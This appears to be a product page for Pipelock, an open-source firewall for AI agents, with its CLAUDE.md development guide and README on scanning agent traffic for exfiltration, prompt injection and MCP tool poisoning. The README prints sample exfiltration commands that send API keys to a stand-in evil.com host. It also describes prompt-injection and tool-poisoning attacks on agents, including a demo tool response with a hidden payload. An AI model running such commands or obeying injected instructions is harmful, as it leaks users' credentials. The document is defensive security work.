USP

Its unique agent-external attestation provides mediator-signed action receipts, offering verifiable proof of agent actions from outside the agent's trust boundary. It features an 11-layer URL scanner with 48 DLP patterns and robust process…

Use cases

01Preventing API key and credential exfiltration by AI agents
02Defending against prompt injection and state/control poisoning attacks
03Ensuring auditability and compliance for AI agent operations
04Sandboxing AI agent processes to restrict filesystem and network access
05Mitigating SSRF vulnerabilities in agent-initiated network requests

Detected files (1)

CLAUDE.mdclaude_md

Show content (15440 bytes)

# CLAUDE.md: Pipelock Development Guide

Pipelock is an agent firewall: a network proxy that sits between AI agents and the internet, scanning all HTTP/WebSocket/MCP traffic for secret exfiltration, prompt injection, SSRF, and tool poisoning.

## Hard Rules

These are non-negotiable. Violating any of them breaks the security model.

- **Never weaken capability separation.** The proxy holds no agent secrets by design; deployment must enforce separation. The agent runs in the privileged zone (has secrets, no direct network). If pipelock ever needs access to agent secrets, the architecture is wrong. Note: pipelock reads local environment variables for env leak scanning, but this is detection, not credential storage.
- **Never bypass fail-closed defaults.** HITL timeout, non-terminal input, parse errors, context cancellation: all default to **block**. If in doubt, block.
- **Never add dependencies without justification.** Minimal direct deps is intentional, not a limitation. Every dependency is attack surface. Propose additions in the PR description with rationale.
- **Never panic on runtime input.** All `panic()` calls in the codebase are post-validation programming errors caught at startup (invalid DLP regex, bad CIDR after config validation). User/agent input must never cause a panic.
- **DLP runs before DNS resolution.** Layers 2-3 (blocklist, DLP) execute before layer 6 (SSRF/DNS). Reordering them would allow secret exfiltration via DNS queries.

## Security Invariants

These must be proven by tests, not assumed from docs or deployment.

- **"Enforced" means the binary enforces it.** If a property depends on deployment, user separation, containers, or network policy, describe it as deployment guidance, not product enforcement.
- **Allowlist/suppression must not bypass content scanning.** Any allowlist, trusted-destination, or suppression logic must not skip DLP, header scanning, body scanning, or explicit secret detection unless the exception is deliberate, documented, and tested.
- **Security-sensitive config defaults must have one source of truth.** If docs say "default true," omitting the field from YAML must produce true. New security-sensitive boolean fields must be tested in 6 states: omitted, YAML null/blank, explicit false, explicit true, reload with change, reload without change.
- **Transport parity must be proven, not claimed.** If a scanning feature applies to multiple surfaces, verify it on each applicable one: fetch, forward proxy, CONNECT, WebSocket, MCP stdio, MCP HTTP/SSE. Not every feature applies to every transport (e.g., MCP stdio has no URL scanning path). Document exceptions explicitly and don't claim parity in docs without tests.
- **Docs are security surface.** Don't claim "automatic escalation" if the code only scores or logs. Don't claim enforcement that only exists at the deployment layer. Review docs when changing behavior.
- **Hot reload must preserve security state.** Test: first load, first reload, second unrelated reload, downgrade/revocation, stale cached state. Kill switch state (all 4 sources) must survive reloads.

## Quick Reference

| Item | Value |
|------|-------|
| Module | `github.com/luckyPipewrench/pipelock` |
| Go | 1.25+ (CI tests 1.25 and 1.26) |
| License | Apache 2.0 (core), ELv2 (`enterprise/`) |
| Binary | Single static binary, ~20MB |
| Deps | 21 direct deps — run `make stats` for the live count. Core set: cobra, zerolog, go-readability, yaml.v3, prometheus, fsnotify, gobwas/ws, sentry-go, modernc.org/sqlite, otlp/proto, google/protobuf, go-landlock, cyclonedx-go, google/uuid, common-fate/httpsig (RFC 9421), dunglas/httpsfv (RFC 8941), plus x/crypto, x/net, x/sys, x/text, x/time. |

## Docs & README Messaging

- Keep this file product- and repo-focused. Do not add personal preferences, private infrastructure notes, or ops-only workflow details.
- Use exact casing for **Pipelock** in public docs.
- Default category language: **agent firewall** or **open-source agent firewall**.
- Default product sentence: **Pipelock sits between AI agents and the internet and blocks secret leaks, unsafe tool traffic, and prompt-injection responses.**
- Do not describe the gauntlet as a neutral field-wide benchmark unless the page is explicitly talking about real third-party submitted results.
- Keep the README, release docs, and guides aligned with the public site on these core ideas:
  - agent firewall / agent egress security
  - runtime inspection at the network and tool boundary
  - gauntlet as proof, not hype
  - honest deployment claims: binary-enforced vs deployment-enforced

### Docs PR checklist

Before merging a README or docs PR that changes positioning, release framing, or feature summaries:

1. Read the current `README.md`, `docs/comparison.md`, and the public `/pipelock/` page together.
2. Verify the first paragraph uses the right category and product sentence.
3. Run `make stats` for local product counts before citing patterns, preset counts, or direct dependencies.
4. For external proof counts like gauntlet corpus size, verify against the current benchmark repo or live results before citing them. If not verified, omit the hard number.
5. Make sure screenshots, badges, and proof claims still match the current release.
6. Keep SEO-style copy tight even in docs: strong title, clear first paragraph, no category drift, no fake benchmark claims.

## Build, Test, Lint

```bash
make build          # Compile with version ldflags
make test           # go test -race -count=1 ./...
make test-cover     # Coverage report → coverage.html
make lint           # golangci-lint (v2, 20 linters, gofumpt)
make bench          # Benchmarks for scanner + mcp
make fmt            # gofumpt -w . (stricter than gofmt: handles alignment + import grouping)
make vet            # Static analysis
make tidy-check     # Verify go.mod/go.sum
make docker         # Docker image
```

Pre-commit (both must pass before pushing):
```bash
golangci-lint run --new-from-rev=HEAD ./...
go test -race -count=1 ./...
```

CI runs lint and tests on **all** code, not just changed files.

## Architecture

**Capability separation:** the agent (secrets, no network) talks to pipelock (no agent secrets, full network) which talks to the internet. Three proxy modes on the same port:

- **Fetch** (`/fetch?url=...`): fetches URL, extracts text, scans response for injection
- **Forward** (CONNECT + absolute-URI): standard HTTP proxy via `HTTPS_PROXY`, scans hostname through 11-layer pipeline
- **WebSocket** (`/ws?url=...`): bidirectional frame scanning, DLP on headers, fragment reassembly

```text
Agent (secrets, no network) → Pipelock (no agent secrets, full network) → Internet
```

### Scanner Pipeline

1. Scheme (http/https only) → 2. Domain blocklist → 3. DLP (patterns, env leak detection, entropy) → 4. Path entropy → 5. Subdomain entropy → 6. SSRF (private IPs, metadata, DNS rebinding) → 7. Rate limiting → 8. URL length → 9. Data budget

Layers 2-3 run **before** DNS resolution. Layer 6 runs **after**. This ordering prevents DNS-based exfiltration.

### MCP Proxy

Wraps any MCP server with bidirectional scanning. Three transport modes:
- **Stdio** (`-- COMMAND`): subprocess wrapping
- **Streamable HTTP** (`--upstream URL`): stdio-to-HTTP bridge
- **HTTP reverse proxy** (`--listen ADDR --upstream URL`): also available via `pipelock run --mcp-listen --mcp-upstream`

Scanning layers:
- **Response scanning:** prompt injection detection in tool results
- **Input scanning:** DLP + injection in tool arguments (`mcp_input_scanning`)
- **Tool scanning:** poisoned descriptions + rug-pull drift detection (`mcp_tool_scanning`)
- **Tool policy:** pre-execution allow/deny/redirect rules with shell obfuscation detection (`mcp_tool_policy`). Redirect routes matched calls to audited handler programs with synthetic MCP response.
- **Chain detection:** subsequence matching on tool call sequences (`tool_chain_detection`)
- **Session binding:** tool inventory pinning per session (`mcp_session_binding`)

### Config System

YAML config loaded at startup. Hot-reload via fsnotify file watch + SIGHUP signal (100ms debounce). Reload atomically swaps config, scanner, and session manager via `atomic.Pointer[T]`. Kill switch state (all 4 sources) is preserved across reloads.

Top-level sections: `mode`, `enforce`, `api_allowlist`, `suppress`, `fetch_proxy`, `forward_proxy`, `websocket_proxy`, `tls_interception`, `dlp`, `response_scanning`, `mcp_input_scanning`, `mcp_tool_scanning`, `mcp_tool_policy`, `mcp_session_binding`, `mcp_ws_listener`, `session_profiling`, `adaptive_enforcement`, `kill_switch`, `emit`, `tool_chain_detection`, `git_protection`, `logging`, `internal`, `request_body_scanning`, `cross_request_detection`, `scan_api`, `address_protection`, `seed_phrase_detection`, `rules`, `file_sentry`, `sandbox`, `agents`, `sentry`, `metrics_listen`.

Action constants: `config.ActionBlock`, `ActionRedirect`, `ActionWarn`, `ActionAsk`, `ActionStrip`, `ActionForward`, `ActionAllow`.

### Architectural Principles

- **Fail-closed everywhere.** Timeouts, parse errors, non-terminal HITL, context cancellation: all block.
- **OR-composed kill switch.** Four independent sources (config, API, SIGUSR1, sentinel file) tracked via atomic bools. Any one active = all traffic denied. Deactivating one doesn't affect others.
- **Fire-and-forget emission.** Webhook uses async buffered channel. Syslog is synchronous but UDP. Neither blocks the proxy. Queue overflow = drop + Prometheus counter.
- **Severity is not user-configurable.** Event severity is hardcoded per event type. Users control the emission *threshold* (`min_severity`), not the severity itself. This prevents misconfiguration hiding critical events.
- **Port isolation.** When `kill_switch.api_listen` is set, the API runs on a dedicated port. Main port gets no API route registration and no path exemption. Agent cannot self-deactivate.

### Implementation Gotchas

- `cfg.Internal = nil` disables SSRF checks (not empty slice). Used in tests to avoid DNS lookups.
- `Scanner.New()` panics on invalid DLP regex/CIDRs. These are programming errors after config validation, never runtime errors.
- `json.RawMessage("null")` is non-nil in Go. Must use `string(raw) == "null"`, not `raw == nil`. Checking nil would be a bypass vector.
- HITL uses a single reader goroutine that owns the `bufio.Reader`. Prevents data races on concurrent terminal reads.
- Tool baseline caps at 10,000 tools per session. Prevents unbounded memory from malicious MCP servers.
- DLP patterns are auto-prefixed with `(?i)` because agents can uppercase secrets, so matching is always case-insensitive.

## Testing

- **Race detector mandatory**: `-race -count=1` on all tests.
- **95% coverage target** on new code. See README for current count.
- Count test cases (including subtests): `go test -v ./... 2>&1 | grep -c -- '--- PASS:'`

### Patterns

```go
cfg := config.Defaults()
cfg.Internal = nil                    // Disable SSRF (no DNS in unit tests)
cmd.SetOut(&buf)                      // CLI output capture (never os.Pipe)
httptest.NewServer(handler)           // Proxy tests with SSRF disabled
prometheus.NewRegistry()              // Metrics isolation per test
net.ListenConfig{}.Listen(ctx, ...)   // Free port binding (noctx compliant)
```

### Linter Pitfalls

| Linter | Rule | Fix |
|--------|------|-----|
| errorlint | `err == ErrFoo` | `errors.Is(err, ErrFoo)` (even in tests) |
| staticcheck | QF1012 | `fmt.Fprintf(w, ...)` not `w.WriteString(fmt.Sprintf(...))` |
| gosec | G101 | Build fake creds at runtime: `"AKIA" + "IOSFODNN7EXAMPLE"` |
| errcheck | ignored error | `_, _ = w.Write(b)` for intentional ignores |
| errcheck | cleanup error | `_ = os.Remove(path)` in error-return cleanup paths |
| errcheck | fmt output | `_, _ = fmt.Fprintf(w, ...)` when writing to cmd output |
| usestdlibvars | `"GET"` | `http.MethodGet` |
| goconst | repeated string | Extract a `const`. Never use `//nolint:goconst`. |
| gosec | G301 dir perms | `0o750` not `0o755` for directories |
| gosec | G302/G306 file perms | `0o600` not `0o644` for files |
| gosec | G304 file inclusion | Use `filepath.Clean(path)` to satisfy G304 lint. For trust boundaries, also validate containment (EvalSymlinks + filepath.Rel). |
| noctx | bare listener | `net.ListenConfig{}.Listen(ctx, ...)` |
| unparam | unused param | `_` prefix |
| gofumpt | formatting | Stricter than gofmt. Run `gofumpt -w .` before committing |

**goconst:** always extract a named constant. Production code: package-level `const`. Test code: `const` block at file top. Check existing `config.Action*`, `config.Mode*`, `config.Severity*` before creating new ones. Re-stage `go.mod` after the tidy pre-commit hook runs.

## Non-Obvious Task Traps

These tasks have steps that are easy to miss:

- **Adding a DLP pattern:** URL tests (`scanner_test.go`), text tests (`text_dlp_test.go`), all preset YAML files in `configs/`, and docs if the default count changes.
- **Any transport or security change:** verify parity across all applicable surfaces (fetch, forward, CONNECT, WebSocket, MCP stdio, MCP HTTP/SSE). Document transport-specific exceptions and add exploit-style regression tests, not just happy paths.

## CI Pipeline

Six required checks on `main`:

1. **test:** Go 1.25 + 1.26 matrix, race detector, Codecov upload
2. **lint:** golangci-lint v2
3. **build:** compile binary, verify `--version`
4. **govulncheck:** known vulnerability scanning
5. **CodeQL:** security-and-quality static analysis
6. **pipelock:** self-scan (dogfooding the GitHub Action on every PR)

**Release:** Tag push (`v*`) → GoReleaser v2 → multi-arch binaries + GHCR image + Homebrew formula.

## Code Style

- **gofumpt** formatting (not gofmt). Run `gofumpt -w <file>` after creating/editing.
- Error wrapping: `fmt.Errorf("context: %w", err)`
- Table-driven tests with `t.Run()`
- No stutter: `proxy.Option` not `proxy.ProxyOption`
- DRY: if two functions do the same work with different labels, extract a shared helper immediately
- **File permissions:** always `0o600` for files, `0o750` for directories. Never `0o644`/`0o755`.
- **Error ignoring:** always `_ = fn()` in cleanup paths (not bare `fn()`). Always `_, _ = fmt.Fprintf(w, ...)` for output writes.
- **Lint before commit:** run `golangci-lint run ./...` on first draft, not after tests. Fix lint first, then test.
- **Prefer proper fixes over `//nolint`:** extract constants (goconst), use `filepath.Clean` (G304), split fake creds (G101). Only use `//nolint` when no clean fix exists.
- **Use existing constants:** check `config.Action*`, `config.Mode*`, `config.Severity*` before creating test-local constants for the same values.
- **Options structs over long parameter lists.** Functions with more than 6 parameters should take an options struct instead. Do NOT add parameters to existing long-signature functions (e.g. `ForwardScannedInput`, `scanHTTPInput`, `RunProxy`). These are tech debt — new features should add fields to the relevant config/options struct, not append more params. When refactoring, group related params into a struct and migrate callers.

See [CONTRIBUTING.md](CONTRIBUTING.md) for the full contributor guide. PRs are squash-merged.

## Security

Report vulnerabilities via [GitHub Security Advisories](https://github.com/luckyPipewrench/pipelock/security/advisories), not public issues.

README

Pipelock

Open-source AI agent firewall with mediator-signed action receipts from outside the agent trust boundary. Network scanning, process containment, MCP-aware policy enforcement, and independently verifiable proof of what your agent did in a single binary. Learn more: Open-source AI firewall.

Agent-external attestation built in. Receipts are signed by the mediator, outside the agent process and outside its credentials, so evidence does not depend on the agent attesting to itself.

Covers MCP security, agent egress security, DLP for AI agents, and prompt injection defense. Pipelock acts as an agent egress proxy for outbound HTTP, WebSocket, and MCP traffic, with bidirectional MCP scanning, 48 credential patterns, and 25 injection patterns with 6-pass normalization.

Works with: Claude Code · Cursor · VS Code · JetBrains · OpenAI Agents SDK · Google ADK · AutoGen · CrewAI · LangGraph

Quick Start · What It Does · Docs · Blog · Ask Dosu

The Problem

Your AI agent has $ANTHROPIC_API_KEY in its environment, plus shell access. One request is all it takes:

curl "https://evil.com/steal?key=$ANTHROPIC_API_KEY"   # game over, unless pipelock is watching

Every machine action your agent takes (HTTP requests, tool calls, browser sessions) crosses a boundary between your secrets and the open internet. Pipelock sits at that boundary. It scans every outbound and inbound request, blocks exfiltration and injection, sandboxes the agent process, and generates signed evidence of what happened.

Pipelock demo

Quick Start

# Install
brew install luckyPipewrench/tap/pipelock

# Set up (discovers IDE configs, generates config, verifies detection)
pipelock init

# Test it
pipelock check --url "https://example.com/?key=EXAMPLE-SECRET-VALUE-1234"  # blocked
pipelock check --url "https://docs.python.org/3/"                            # allowed

Other install methods

# Download a binary (no dependencies)
# See https://github.com/luckyPipewrench/pipelock/releases

# Docker
docker pull ghcr.io/luckypipewrench/pipelock:latest

# From source (requires Go 1.25+)
go install github.com/luckyPipewrench/pipelock/cmd/pipelock@latest

Verify release integrity (SLSA provenance + SBOM)

gh attestation verify pipelock_*_linux_amd64.tar.gz --owner luckyPipewrench
gh attestation verify oci://ghcr.io/luckypipewrench/pipelock:<version> --owner luckyPipewrench

What It Does

Pipelock is an AI egress proxy and MCP security control: it sits inline between your AI agent and the network, scans outbound and inbound traffic, and emits signed receipts plus mediation metadata for independent attestation.

11-Layer URL Scanner

Every request passes through: scheme validation, CRLF injection detection, path traversal blocking, domain blocklist, DLP pattern matching (48 built-in patterns for API keys, tokens, credentials, cryptocurrency keys, environment variable secrets, and financial identifiers with checksum validation), path entropy analysis, subdomain entropy analysis, SSRF protection with DNS rebinding prevention, per-domain rate limiting, URL length limits, and per-domain data budgets.

DLP runs before DNS resolution, designed to catch secrets before any DNS query leaves the proxy. BIP-39 seed phrase detection uses a dedicated scanner with dictionary lookup, sliding window matching, and SHA-256 checksum validation to catch cryptocurrency mnemonic exfiltration across all transport surfaces.

See docs/bypass-resistance.md for the full evasion test matrix.

Process Sandbox

Unprivileged process containment using OS-native kernel primitives. On Linux: Landlock LSM restricts filesystem access, seccomp filters dangerous syscalls, and network namespaces force all traffic through pipelock's scanner (no direct egress). On macOS: sandbox-exec profiles restrict filesystem and network. In containers, use --best-effort for Landlock + seccomp containment when namespace creation is restricted (network scanning uses proxy-based routing instead of kernel enforcement).

pipelock sandbox --config pipelock.yaml -- python agent.py
pipelock sandbox --best-effort -- python agent.py  # containers
pipelock mcp proxy --sandbox --config pipelock.yaml -- npx server

Response Scanning

Fetched content is scanned for prompt injection and state/control poisoning before reaching the agent. A 6-pass normalization pipeline catches zero-width character evasion, homoglyph substitution, leetspeak encoding, and base64-wrapped payloads. 25 built-in patterns cover jailbreak phrases, instruction manipulation, credential solicitation, memory persistence, preference poisoning, covert action directives, model instruction boundaries, and CJK-language instruction overrides. Actions: block, strip, warn, or ask (human-in-the-loop terminal approval).

text/event-stream responses (OpenAI chat completions, Anthropic messages, Kilo Gateway, MCP HTTP/SSE) stream through with per-event DLP and injection scanning so token-by-token LLM chat UX is preserved while body scanning stays on. Clean events flush immediately; a detection terminates the stream fail-closed. Compressed SSE streams are rejected since compressed bytes evade regex matching. See SSE streaming guide.

Request Redaction

Optional request-side redaction rewrites matched JSON values before they leave the agent. The same matcher covers HTTP request bodies, outbound WebSocket client messages, and MCP tools/call params.arguments across stdio, HTTP/SSE, and WebSocket transports. Replacements are typed placeholders such as <pl:aws-access-key:1>, and signed action receipts record only the active profile plus per-class counts.

MCP Proxy

Wraps any MCP server with bidirectional scanning. Three transport modes: stdio subprocess wrapping, Streamable HTTP bridging, and HTTP reverse proxy. Scans both directions: client requests checked for DLP leaks, server responses scanned for injection, and tools/list responses checked for poisoned descriptions and mid-session rug-pull changes.

# Wrap a local MCP server (stdio)
pipelock mcp proxy --config pipelock.yaml -- npx -y @modelcontextprotocol/server-filesystem /tmp

# Proxy a remote MCP server (HTTP)
pipelock mcp proxy --upstream http://localhost:8080/mcp

# Combined mode (fetch/forward proxy + MCP on separate ports)
pipelock run --config pipelock.yaml --mcp-listen 0.0.0.0:8889 --mcp-upstream http://localhost:3000/mcp

MCP Tool Policy

Pre-execution rules that block dangerous tool calls before they reach MCP servers. Ships with 17 built-in rules covering destructive operations, credential access, reverse shells, persistence mechanisms, and encoded command execution. Shell obfuscation detection is built-in. v2.0 adds a redirect action that routes dangerous operations through audited wrappers instead of blocking outright.

Tool Call Chain Detection

Detects attack patterns in sequences of MCP tool calls. Ships with 10 built-in patterns covering reconnaissance, credential theft, data staging, persistence, and exfiltration chains. Uses subsequence matching with configurable gap tolerance, so inserting innocent calls between attack steps doesn't evade detection.

Kill Switch

Emergency deny-all with four independent activation sources: config file, SIGUSR1, sentinel file, and remote API. Any one active blocks all traffic. The API can run on a separate port so agents can't deactivate their own kill switch.

# Activate from operator machine
curl -X POST http://localhost:9090/api/v1/killswitch \
  -H "Authorization: Bearer TOKEN" -d '{"active": true}'

Scan API

Evaluation endpoint for programmatic scanning. Any tool, pipeline, or control plane can submit URLs, text, or tool calls and get a structured verdict back (the proxy doesn't need to be in the request path). Four scan kinds: url, dlp, prompt_injection, and tool_call. Returns findings with scanner type, rule ID, and severity. Bearer token auth, per-token rate limiting, and Prometheus metrics.

See docs/scan-api.md for the full API reference.

Address Protection

Detects blockchain address poisoning attacks where a lookalike address is substituted for a legitimate one. Validates addresses for ETH, BTC, SOL, and BNB chains, compares against a user-supplied allowlist, and flags similar addresses using prefix/suffix fingerprinting. Designed for agents that interact with DeFi protocols or execute transactions.

Filesystem Sentinel

Monitors agent working directories for secrets written to disk. When an MCP subprocess writes a file containing credentials, pipelock detects it using the same DLP patterns applied to network traffic. On Linux, process lineage tracking attributes file writes to the agent's process tree. See docs/guides/filesystem-sentinel.md.

Event Emission

Forward audit events to external systems (SIEM, webhook receivers, syslog). Events are fire-and-forget and never block the proxy. Each event includes a MITRE ATT&CK technique ID where applicable (T1048 for exfiltration, T1059 for injection, T1195.002 for supply chain).

See docs/guides/siem-integration.md for log schema, forwarding patterns, and example SIEM queries.

Security Assessment

pipelock assess runs a four-stage security assessment against your deployment: attack simulation (20 scenarios across DLP, injection, tool poisoning, and URL evasion), config audit (12 categories scored 0-100), deployment verification (live probe of scanning and containment), and MCP server discovery (protection status across Claude Code, Cursor, VS Code, and other clients).

Critical exposures like unprotected MCP servers cap the grade regardless of numeric score.

pipelock assess init --config pipelock.yaml
pipelock assess run assessment-a1b2c3d4/
pipelock assess finalize assessment-a1b2c3d4/

The free summary shows your grade, section scores, and top findings. Licensed users get the full report with server-specific findings, remediation commands, and Ed25519-signed evidence.

Pipelock Security Summary showing grade C (79/100) with compliance coverage, MCP protection, and detection scoring

Flight Recorder

Hash-chained JSONL evidence log with Ed25519-signed checkpoints and DLP redaction. Every proxy decision is recorded as a tamper-evident entry linked to the previous one. Action receipts provide cryptographically signed proof of each mediated action (what happened, what the verdict was, which policy was active), and request-side rewrites add a compact redaction summary block instead of storing plaintext secrets. Verify any receipt independently with pipelock verify-receipt.

Canary Tokens

Synthetic secrets injected into the agent's environment. If pipelock detects a canary in outbound traffic, it proves the agent (or something in its chain) is exfiltrating environment variables. Ships with pipelock canary to generate config snippets.

More Features

Feature	What It Does
Audit Reports	`pipelock report --input events.jsonl` generates HTML/JSON reports with risk rating, timeline, and evidence appendix. Ed25519 signing with `--sign`. (Sample report)
Diagnose	`pipelock diagnose` runs 7 local checks to verify your config works end-to-end (no network required)
TLS Interception	Optional CONNECT tunnel MITM: decrypt, scan bodies/headers/responses, re-encrypt. `pipelock tls init` generates a CA, then `pipelock tls install-ca` trusts it system-wide.
Block Hints	Opt-in `explain_blocks: true` adds fix suggestions to blocked responses
Project Audit	`pipelock audit ./project` scans for security risks and generates a tailored config
Config Scoring (v2.0)	`pipelock audit score --config pipelock.yaml` evaluates security posture across 12 categories (0-100 with letter grade). Flags overpermissive tool policies.
File Integrity	SHA256 manifests detect modified, added, or removed workspace files
Git Protection	`git diff \| pipelock git scan-diff` catches secrets before they're committed
Ed25519 Signing	Key management, file signing, and signature verification for multi-agent trust
Session Profiling	Per-session behavioral analysis (domain bursts, volume spikes)
Adaptive Enforcement	Per-session threat score with automatic escalation from warn to block, de-escalation timers, and domain burst detection
Finding Suppression	Silence known false positives via config rules or inline `pipelock:ignore` comments
Multi-Agent Support	Agent identification via `X-Pipelock-Agent` header for per-agent filtering
Fleet Monitoring	Prometheus metrics + ready-to-import Grafana dashboard
A2A Scanning	Agent Card poisoning detection, card drift monitoring, session smuggling prevention for Google's Agent-to-Agent protocol
Behavioral Baseline	Profile-then-lock for MCP tool behavior. Learns normal patterns during a window, flags deviations after ratification.
Denial-of-Wallet	Per-agent budgets for retries, fan-out, and concurrent tool calls. Catches loop storms and amplification attacks.
Taint Escalation	Exposure-based policy escalation across MCP + task boundaries. Sessions that recently observed untrusted content get elevated scanning on protected operations until trust is explicitly restored.
Mediation Envelope	RFC 8941 sideband metadata on forwarded HTTP requests and MCP `_meta`, carrying action type, verdict, actor identity, policy hash, taint context, and receipt correlation ID.
Receipt Conformance	Cross-implementation receipt verification suite (`sdk/conformance/`) plus the reference Python verifier, so receipts can be verified outside the Go implementation.
Media Policy	Controls media response handling: strips steganographic metadata from JPEG/PNG (byte-level surgery, pixel-identical output), rejects audio/video by default, hardens SVG active content (foreignObject, event handlers, external hrefs), and enforces image size limits against decompression bombs.
Compliance Mappings	OWASP MCP Top 10, OWASP Agentic Top 15, NIST 800-53, EU AI Act, SOC 2 coverage documentation

Pipelock Agent Egress Report showing risk rating, timeline, findings by category, and evidence appendix

Pipelock Fleet Monitor: Grafana dashboard showing traffic, security events, and WebSocket metrics

How It Works

Pipelock uses capability separation: the agent process has secrets but no direct network access. Pipelock has network access but no agent secrets. Even if the agent gets prompt-injected, it can't reach the firewall's controls.

Three HTTP proxy modes (same port), plus dedicated MCP and A2A proxies:

Fetch proxy (/fetch?url=...): Fetches the URL, extracts text, scans for injection, returns clean content.
Forward proxy (HTTPS_PROXY): Standard HTTP CONNECT tunneling. Zero code changes. Optional TLS interception for full payload scanning.
WebSocket proxy (/ws?url=ws://...): Bidirectional frame scanning with DLP + injection detection.
MCP proxy (pipelock mcp proxy): Wraps stdio or HTTP MCP servers with bidirectional scanning.
A2A proxy: Inspects Google Agent-to-Agent protocol traffic.

flowchart LR
    subgraph PRIV["PRIVILEGED ZONE"]
        Agent["AI Agent\nAPI keys + credentials + source code\nNetwork-isolated by deployment"]
    end

    subgraph FW["FIREWALL ZONE"]
        Proxy["Pipelock\n11-layer scanner pipeline\nNo agent secrets"]
    end

    subgraph NET["INTERNET"]
        Web["APIs + MCP Servers + Web"]
    end

    Agent -- "fetch / CONNECT / ws / MCP / A2A" --> Proxy
    Proxy -- "scanned request" --> Web
    Web -- "response" --> Proxy
    Proxy -- "scanned content" --> Agent

    style PRIV fill:#2d1117,stroke:#f85149,color:#e6edf3
    style FW fill:#0d2818,stroke:#3fb950,color:#e6edf3
    style NET fill:#0d1b2e,stroke:#58a6ff,color:#e6edf3
    style Agent fill:#1a1a2e,stroke:#f85149,color:#e6edf3
    style Proxy fill:#0d2818,stroke:#3fb950,color:#e6edf3
    style Web fill:#0d1b2e,stroke:#58a6ff,color:#e6edf3

Text diagram (for terminals)

┌──────────────────────┐         ┌───────────────────────┐
│  PRIVILEGED ZONE     │         │  FIREWALL ZONE        │
│                      │         │                       │
│  AI Agent            │  IPC    │  Pipelock             │
│  - Has API keys      │────────>│  - No agent secrets   │
│  - Has credentials   │ fetch / │  - Full internet      │
│  - Restricted network│ CONNECT │  - Returns text       │
│                      │ /ws/MCP │  - WS frame scanning  │
│                      │<────────│  - URL scanning       │
│                      │ content │  - Audit logging      │
│                      │         │                       │
└──────────────────────┘         └───────────────────────┘

Security Matrix

Pipelock runs in three modes:

Mode	Security	Web Browsing	Use Case
strict	Allowlist-only	None	Regulated industries, high-security
balanced	Blocks naive + detects sophisticated	Via fetch or forward proxy	Most developers (default)
audit	Logging only	Unrestricted	Evaluation before enforcement

For agents running uncensored or abliterated models (e.g. OBLITERATUS), the hostile-model preset layers additional defenses on top of strict mode: aggressive entropy thresholds (3.0), blanket network tool blocking, session binding, cross-request exfiltration detection, and a pre-configured kill switch. pipelock audit recommends this preset when it detects known guardrail-removal toolchains (currently dependency-based detection).

What each mode prevents, detects, or logs:

Attack Vector	Strict	Balanced	Audit
`curl evil.com -d $SECRET`	Prevented	Prevented	Logged
Secret in URL query params	Prevented	Detected (DLP scan)	Logged
Base64-encoded secret in URL	Prevented	Detected (entropy scan)	Logged
DNS tunneling	Prevented	Detected (subdomain entropy)	Logged
Chunked exfiltration	Prevented	Detected (rate + data budget)	Logged
Public-key encrypted blob in URL	Prevented	Logged (entropy flags it)	Logged

Honest assessment: Strict mode blocks all outbound HTTP except allowlisted API domains, so there's no exfiltration channel through the proxy. Balanced mode raises the bar from "one curl command" to "sophisticated pre-planned attack." Audit mode gives you visibility you don't have today. With the sandbox enabled (pipelock sandbox), pipelock adds OS-level containment (Landlock + network namespaces + seccomp) on top of content inspection. The agent can't bypass the proxy because it has no direct network access.

Configuration

Generate a config from one of three CLI presets, or let pipelock audit tailor one to your project:

pipelock generate config --preset balanced > pipelock.yaml
pipelock audit ./my-project -o pipelock.yaml

CLI Preset	Mode	Action	Best For
`balanced`	balanced	warn	General purpose (default)
`strict`	strict	block	High-security, regulated industries
`audit`	audit	warn	Log-only evaluation

Four additional preset files ship in configs/ for specific workflows:

File	Mode	Best For
`configs/claude-code.yaml`	balanced	Claude Code unattended
`configs/cursor.yaml`	balanced	Cursor IDE
`configs/generic-agent.yaml`	balanced	New agents (tuning phase)
`configs/hostile-model.yaml`	strict	Uncensored/abliterated models

Config changes are picked up automatically via file watcher or SIGHUP. Full reference: docs/configuration.md

For false positive tuning: docs/false-positive-tuning.md

Integration Guides

Claude Code: MCP proxy setup, .claude.json configuration
OpenAI Codex: MCP proxy wrapping, forward proxy, sandbox integration
OpenAI Agents SDK: MCPServerStdio, multi-agent handoffs
Google ADK: McpToolset, StdioConnectionParams
AutoGen: StdioServerParams, mcp_server_tools()
CrewAI: MCPServerStdio wrapping, MCPServerAdapter
LangGraph: MultiServerMCPClient, StateGraph
JetBrains/Junie: MCP proxy wrapping for IntelliJ, PyCharm, GoLand (walkthrough)
Cursor: use configs/cursor.yaml with the same MCP proxy pattern as Claude Code (walkthrough)
OpenClaw: Gateway sidecar, init container, config wrapping

Deployment

# Docker
docker pull ghcr.io/luckypipewrench/pipelock:latest
docker run -p 8888:8888 -v ./pipelock.yaml:/config/pipelock.yaml:ro \
  ghcr.io/luckypipewrench/pipelock:latest \
  run --config /config/pipelock.yaml --listen 0.0.0.0:8888

# Network-isolated agent (Docker Compose)
pipelock generate docker-compose --agent claude-code -o docker-compose.yaml
docker compose up

# Kubernetes (Helm)
helm install pipelock charts/pipelock/

Production recipes (Docker Compose with network isolation, Kubernetes sidecar + NetworkPolicy, iptables/nftables, macOS PF): docs/guides/deployment-recipes.md

CI Integration

# .github/workflows/pipelock.yaml
- uses: luckyPipewrench/pipelock@v2
  with:
    scan-diff: 'true'
    fail-on-findings: 'true'

Downloads a pre-built binary, runs pipelock audit, scans the PR diff for leaked secrets, and uploads the audit report as a workflow artifact. See examples/ci-workflow.yaml for a complete workflow.

Runnable demo: tool-response injection

The examples/tool-response-injection/ harness runs an end-to-end demo where an MCP tool with a harmless name and description hides a prompt-injection payload in its response. Pipelock blocks the response before it reaches the agent and emits signed action receipts that a third party can verify. The same demo runs against three transports with one shared signing key:

MCP stdio (subprocess wrapping)
MCP HTTP upstream (stdio-to-HTTP bridge)
MCP HTTP reverse proxy

cd examples/tool-response-injection
python3 demo.py    # needs python3 + cryptography + pipelock on PATH

Community Rules

Signed rule bundles add detection patterns beyond the 48 built-in defaults. 28 community rules across DLP, injection, and tool-poison categories:

pipelock rules install pipelock-community

See docs/rules.md for details.

Comparison

	Pipelock	Scanners (agent-scan)	Sandboxes (srt)	Kernel agents (agentsh)
Secret exfiltration prevention	Yes	Partial (proxy mode)	Partial (domain-level)	Yes
DLP + entropy analysis	Yes	No	No	Partial
Prompt injection detection	Yes	Yes	No	No
MCP scanning (bidirectional + tool poisoning)	Yes	Yes	No	No
WebSocket proxy (frame scanning)	Yes	No	No	No
MCP HTTP transport (Streamable HTTP)	Yes	No	No	No
